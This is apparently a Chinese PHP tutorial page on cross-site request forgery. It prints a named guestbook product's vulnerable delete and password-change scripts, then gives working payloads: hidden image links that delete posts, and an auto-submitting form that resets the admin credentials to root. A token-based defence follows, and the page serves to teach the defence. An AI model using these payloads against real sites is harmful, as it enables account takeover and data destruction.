php专区

 首页 > php专区 > PHP应用 > 常用功能 > php漏洞之跨网站请求伪造与防止伪造方法 - php高

php漏洞之跨网站请求伪造与防止伪造方法 - php高

分享到:
【字体:
导读:
          今天我来给大家介绍在php中跨网站请求伪造的实现方法与最后我们些常用的防止伪造的具体操作方法,有需要了解的朋友可进入参考.伪造跨站请求介绍伪造跨站请求比较难以防范,而且危...

php漏洞之跨网站请求伪造与防止伪造方法

今天我来给大家介绍在php中跨网站请求伪造的实现方法与最后我们些常用的防止伪造的具体操作方法,有需要了解的朋友可进入参考.

伪造跨站请求介绍

伪造跨站请求比较难以防范,而且危害巨大,攻击者可以通过这种方式恶作剧,发spam信息,删除数据等等,这种攻击常见的表现形式有:

伪造链接,引诱用户点击,或是让用户在不知情的情况下访问. 

伪造表单,引诱用户提交,表单可以是隐藏的,用图片或链接的形式伪装.

比较常见而且也很廉价的防范手段是在所有可能涉及用户写操作的表单中加入一个随机且变换频繁的字符串,然后在处理表单的时候对这个字符串进行检查。这个随机字符串如果和当前用户身份相关联的话,那么攻击者伪造请求会比较麻烦.

如果攻击者以隐藏的方式发送给目标用户链接

,那么如果目标用户不小心访问以后,购买的数量就成了1000个.

实例,随缘网络PHP留言板V1.0,代码如下,任意删除留言:

  1. //delbook.php 此页面用于删除留言 
  2. include_once("dlyz.php");    //dlyz.php用户验证权限,当权限是admin的时候方可删除留言 
  3. include_once("../conn.php"); 
  4. $del=$_GET["del"]; 
  5. $id=$_GET["id"]; 
  6. if ($del=="data"
  7. $ID_Dele= implode(",",$_POST['adid']); 
  8. $sql="delete from book where id in (".$ID_Dele.")"
  9. mysql_query($sql); 
  10. else 
  11. $sql="delete from book where id=".$id//传递要删除的留言ID 
  12. mysql_query($sql); 
  13. mysql_close($conn); 
  14. echo "";  
  15. echo "alert('删除成功!');"
  16. echo " location='book.php';";  
  17. echo ""
  18. ?> 

当我们具有admin权限,提交http://localhost/manage/delbook.php?id=2 时,就会删除id为2的留言.

利用方法,我们使用普通用户留言,源代码方式,内容为如下代码:

  1. "delbook.php?id=2" /> 
  2.  
  3. "delbook.php?id=3" /> 
  4.  
  5. "delbook.php?id=4" /> 
  6.  
  7. "delbook.php?id=5" /> 

插入4张图片链接分别删除4个id留言,然后我们返回首页浏览看,没有什么变化,图片显示不了,现在我们再用管理员账号登陆后,来刷新首页,会发现留言就剩一条,其他在图片链接中指定的ID号的留言,全部都被删除.

攻击者在留言中插入隐藏的图片链接,此链接具有删除留言的作用,而攻击者自己访问这些图片链接的时候,是不具有权限的,所以看不到任何效果,但是当管理员登陆后,查看此留言,就会执行隐藏的链接,而他的权限又是足够大的,从而这些留言就被删除了.

修改管理员密码,代码如下:

  1. //pass.php 
  2. if($_GET["act"]) 
  3. $username=$_POST["username"]; 
  4. $sh=$_POST["sh"]; 
  5. $gg=$_POST["gg"]; 
  6. $title=$_POST["title"]; 
  7. $copyright=$_POST["copyright"]."
    设计制作:厦门随缘网络科技
    "
  8. $password=md5($_POST["password"]); 
  9. if(emptyempty($_POST["password"])) 
  10. $sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1"
  11. else 
  12. $sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1"
  13. mysql_query($sql); 
  14. mysql_close($conn); 
  15. echo "";  
  16. echo "alert('修改成功!');"
  17. echo " location='pass.php';";  
  18. echo ""
  19. 这个文件用于修改管理密码和网站设置的一些信息,我们可以直接构造如下表单: 
  20.  
  21. "http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1"
  22. "radio" value="1"  name="sh"
  23. "radio" name="sh" checked value="0">  
  24. "text" name="username" value="root"
  25. "password" name="password" value="root">  
  26. "text"  name="title"  value="随缘网络PHP留言板V1.0(带审核功能)" > 
  27. "gg"  rows="6" cols="80" >欢迎您安装使用随缘网络PHP留言板V1.0(带审核功能)! 
  28. "copyright"  rows="6" cols="80" >随缘网络PHP留言本V1.0  版权所有:厦门随缘网络科技 2005-2009
    承接网站建设及系统定制 提供优惠主机域名 
  29.  
  30.   

存为attack.html,放到自己网站上http://www.phpfensi.com此页面访问后会自动向目标程序的pass.php提交参数,用户名修改为root,密码修改为root,然后我们去留言板发一条留言,隐藏这个链接,管理访问以后,他的用户名和密码全部修改成了root.

防止伪造跨站请求

yahoo对付伪造跨站请求的办法是在表单里加入一个叫.crumb的随机串;而facebook也有类似的解决办法,它的表单里常常会有post_form_id和fb_dtsg.

随机串代码实现,咱们按照这个思路,山寨一个crumb的实现,代码如下:

  1. class Crumb {  
  2. CONST SALT = "your-secret-salt";  
  3. static $ttl = 7200;  
  4. static public function challenge($data) {  
  5. return hash_hmac('md5'$data, self::SALT);  
  6. }  
  7. static public function issueCrumb($uid$action = -1) {  
  8. $i = ceil(time() / self::$ttl);  
  9. return substr(self::challenge($i . $action . $uid), -12, 10);  
  10. }  
  11. static public function verifyCrumb($uid$crumb$action = -1) {  
  12. $i = ceil(time() / self::$ttl);  
  13. if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb ||  
  14. substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb)  
  15. return true;  
  16. return false;  
  17. }  

代码中的$uid表示用户唯一标识,而$ttl表示这个随机串的有效时间.

应用示例,构造表单,在表单中插入一个隐藏的随机串crumb,代码如下:

  1. <form method="post" action="demo.php">  
  2. <input type="hidden" name="crumb" value="">  
  3. <input type="text" name="content">  
  4. <input type="submit">  
  5. form> 

处理表单 demo.php,对crumb进行检查,代码如下:

  1. if(Crumb::verifyCrumb($uid$_POST['crumb'])) {  
  2. //按照正常流程处理表单  
  3. else {  
  4. //crumb校验失败,错误提示流程  
  5. }  
  6. ?> 
分享到:
vsftpd+mysql的虚拟用户配置记录 - php高...
vsftpd+mysql的虚拟用户配置记录 1.安装vsftpd yum install vsftpd就ok 2.需要pam_mysql组件,在这里 3.编译参数看下INSTALL 我这里用了一个参数就 withmysql=/usr/local/amp/mysql5 4.建立mysql数据库、表 db=vsftpd table=users(username,userpass,homedir),建立对应mysql帐户 vsftpd v...
关闭php执行系统指令函数 - php高级应用
关闭php执行系统指令函数 php的四个函数exec,shell_exec,system,passthru可以执行系统指令,对系统安全构成威胁,如果不用的话可以将其关闭,代码如下: vim /etc/php.ini 去掉disable_functions前注释,编辑内容如下: disable_functions = exec,shell_exec,system,passthru,popen 友情提示,有...
  •         php迷,一个php技术的分享社区,专属您自己的技术摘抄本、收藏夹。
  • 在这里……